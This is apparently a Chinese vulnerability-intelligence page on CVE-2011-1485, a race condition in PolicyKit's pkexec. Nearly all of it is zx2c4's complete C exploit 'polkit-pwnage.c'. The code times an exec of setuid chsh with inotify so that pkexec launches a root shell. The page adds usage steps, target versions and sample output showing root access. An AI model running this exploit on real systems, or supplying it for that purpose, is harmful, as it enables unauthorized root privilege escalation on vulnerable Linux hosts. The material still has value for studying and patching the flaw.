linux polkitd 漏洞,CVE-2011-1485 Red Hat PolicyKit pkexec功能和polkitd守护进程竞争条件漏洞-漏洞情报、漏洞详情、安全漏洞、CVE – 安全客

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/* polkit-pwnage.c

*

*

* ==============================

* = PolicyKit Pwnage =

* = by zx2c4 =

* = Sept 2, 2011 =

* ==============================

*

*

* Howdy folks,

*

* This exploits CVE-2011-1485, a race condition in PolicyKit.

*

* davidz25 explains:

*

* –begin–

* Briefly, the problem is that the UID for the parent process of pkexec(1) is

* read from /proc by stat(2)’ing /proc/PID. The problem with this is that

* this returns the effective uid of the process which can easily be set to 0

* by invoking a setuid-root binary such as /usr/bin/chsh in the parent

* process of pkexec(1). Instead we are really interested in the real-user-id.

* While there’s a check in pkexec.c to avoid this problem (by comparing it to

* what we expect the uid to be – namely that of the pkexec.c process itself which

* is the uid of the parent process at pkexec-spawn-time), there is still a short

* window where an attacker can fool pkexec/polkitd into thinking that the parent

* process has uid 0 and is therefore authorized. It’s pretty hard to hit this

* window – I actually don’t know if it can be made to work in practice.

* –end–

*

* Well, here is, in fact, how it’s made to work in practice. There is as he said an

* attempted mitigation, and the way to trigger that mitigation path is something

* like this:

*

* $ sudo -u `whoami` pkexec sh

* User of caller (0) does not match our uid (1000)

*

* Not what we want. So the trick is to execl to a suid at just the precise moment

* /proc/PID is being stat(2)’d. We use inotify to learn exactly when it’s accessed,

* and execl to the suid binary as our very next instruction.

*

* ** Usage **

* $ pkexec –version

* pkexec version 0.101

* $ gcc polkit-pwnage.c -o pwnit

* $ ./pwnit

* [+] Configuring inotify for proper pid.

* [+] Launching pkexec.

* sh-4.2# whoami

* root

* sh-4.2# id

* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

* sh-4.2#

*

* ** Targets **

* This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which

* as of writing uses 0.101, has backported 0.102’s bug fix. A way to check

* this is by looking at the mtime of /usr/bin/pkexec — April 22, 2011 or

* later and you’re out of luck. It’s likely other distributions do the same.

* Fortunately, this exploit is clean enough that you can try it out without

* too much collateral.

*

*

* greets to djrbliss and davidz25.

*

* – zx2c4

* 2-sept-2011

*

*/

#include

#include

#include

#include

#include

#include

int main(int argc, char **argv)

{

printf(“=============================\n”);

printf(“= PolicyKit Pwnage =\n”);

printf(“= by zx2c4 =\n”);

printf(“= Sept 2, 2011 =\n”);

printf(“=============================\n\n”);

if (fork()) {

int fd;

char pid_path[1024];

sprintf(pid_path, “/proc/%i”, getpid());

printf(“[+] Configuring inotify for proper pid.\n”);

close(0); close(1); close(2);

fd = inotify_init();

if (fd < 0)

perror(“[-] inotify_init”);

inotify_add_watch(fd, pid_path, IN_ACCESS);

read(fd, NULL, 0);

execl(“/usr/bin/chsh”, “chsh”, NULL);

} else {

sleep(1);

printf(“[+] Launching pkexec.\n”);

execl(“/usr/bin/pkexec”, “pkexec”, “/bin/sh”, NULL);

}

return 0;

}

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